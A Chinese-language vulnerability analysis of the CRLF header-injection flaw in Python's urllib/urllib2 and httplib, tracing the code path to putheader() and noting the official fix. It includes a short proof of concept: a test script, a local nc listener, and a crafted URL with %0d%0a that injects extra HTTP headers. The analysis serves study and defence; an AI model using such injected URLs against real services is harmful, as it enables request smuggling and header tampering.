0 概述

Python2.x 3.x 的urllib/urllib2从数据解析到发包的整个流程中，均未对URL提供安全性过滤或检查．导致换行符可被插入到HTTP数据流，使攻击者可以注入额外的HTTP头和请求方法．

 

本文将重点介绍：

• HTTP 请求头基础
• Python urllib/urllib2 核心代码逻辑
• 漏洞验证过程及代码分析

---

1 位置

Python 2.x urllib2.py - httplib.py

Python 3.x urllib.py - http/client.py

---

2 HTTP请求头&换行符

为什么注入换行符就可以修改HTTP的请求头呢．

抓个GET请求看下

图片中可以看到在HTTP报文是连续且可读的，每行以\r\n结束，分别对应%0d,%0a．

 

2.1 使用nc敲一个请求

nc www.cdxy.me 80

然后输入以下两行:

GET HTTP/1.1

Host: www.cdxy.me

就可以看到服务器解析这个GET请求并返回的结果：

---

3 漏洞PoC

3.1 脚本

#!/usr/bin/env python3  
# test.py

import sys
import urllib
import urllib.error
import urllib.request   

url = sys.argv[1]   

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

3.2 正常的请求头

nc -l -v 127.0.0.1 -p 12345　监听本机12345端口

python3 test.py http://127.0.0.1:12345/index.html发出请求

左边可以看到本机12345端口收到的请求头，也就是我们Python脚本发出的请求头．

3.3 注入换行符后

使用恶意构造的URL: http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

可以看到我们在URL构造的%0d%0a起了作用，成功插入两个自定义字段．

针对域名也是可以的，需要在域名后插一个%00，下图为localhost

---

4 show me the code

4.1 urllib/request.py

urllib/request.py - line 138 - def urlopen() urlopen()办了三件事:

1. 实例化OpenerDirector 对象 (选择功能)
2. 实例化Request对象 (添加数据)
3. 发起请求 (执行)

4.1.1 实例化OpenerDirector对象

urlopen()先通过build_opener()建立一个OpenerDirector 对象， 该对象中可以添加不同的handler

elif _opener is None:
        _opener = opener = build_opener()

以下四个重要的变量均通过key-value的形式，将多种handler内部的方法根据功能归类，方便后续调用．

* handle_error 处理连接状态码

* handle_open 发起连接

* process_response 处理响应

* process_request 处理请求

 

4.1.2 实例化Request对象

urlopen()通过return进入open函数：

return opener.open(url, data, timeout)

open函数：实例化Request对象为req．

if isinstance(fullurl, str):
    req = Request(fullurl, data)

其中调用urlparse.py对原始URL进行解析．这一步之后，我们构造的恶意代码被带入req.host字段，如下图：

4.1.3 发起请求

需要清楚的一点是 urllib包和urllib2是基于httplib之上，提供更高层次的抽象． 也就是说，它们发送数据的核心代码，仍要经过httplib之手．

整理一下代码： urlopen() 在实例化了OpenerDirector对象．将该实例传入opener.open()． opener.open() 在实例化了Request对象之后，将该实例传入self._open()函数，以执行＂发起连接＂的动作． 在这里req被带入opener.open()的子函数:_open()

response = self._open(req, data)

接着，_open()函数调用_call_chain()方法，从OpenerDirector对象的handle_openkey-value中加载指定的handler方法．

def _open(self, req, data=None):
        result = self._call_chain(self.handle_open, 'default',
                                  'default_open', req)
        if result:
            return result

        protocol = req.type
        result = self._call_chain(self.handle_open, protocol, protocol +
                                  '_open', req)
        if result:
            return result

        return self._call_chain(self.handle_open, 'unknown',
                                'unknown_open', req)

这里要发送请求，被加载的handler是HTTPHandler，代码如下：

class HTTPHandler(AbstractHTTPHandler):
    def http_open(self, req):
        return self.do_open(http.client.HTTPConnection, req)

    http_request = AbstractHTTPHandler.do_request_

可以看到，req(携带恶意代码的Request实例)已经通过HTTPHandler进入了http.client.HTTPConnection函数．

这个函数在http/client.py,也就是Python2.x之中的httplib.py

4.2 httplib/http.client

httplib/http.client对请求头的处理函数如下(漏洞修复之前的代码)：

def putheader(self, header, *values):
        values = list(values)
        for i, one_value in enumerate(values):
            if hasattr(one_value, 'encode'):
                values[i] = one_value.encode('latin-1')
            elif isinstance(one_value, int):
                values[i] = str(one_value).encode('ascii')
        value = b'\r\n\t'.join(values)
        header = header + b': ' + value
        self._output(header)

代码一目了然，这个函数将所有的header连接成一个长字符串，不同的header之间以\r\n\t进行连接．

当然，我们的恶意代码也在其中，现在它返回的header字符串是这样的：

b'GET /foo HTTP/1.1\r\nAccept-Encoding: identity\r\nConnection: close\r\nUser-Agent: Python-urllib/3.4\r\nHost: 127.0.0.1\r\nX-injected: header\r\nx-leftover: :12345\r\n\r\n'

前文已经叙述HTTP请求头相关的基本知识，nc收获的请求头如下：

GET /foo HTTP/1.1 
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1 
X-injected: header 
x-leftover: :12345

本漏洞的原理介绍到此结束

5 官方修复方案

官方针对Python2/Python3更新的两个版本代码，均在出口处的putheader()函数里添加了一个检验，发现不合法URL会报一个error.

3.4 / 3.5 : revision 94952

2.7 : revision 94951

6 参考

关于漏洞危害可参考以下链接

• http://drops.wooyun.org/papers/16905
• http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html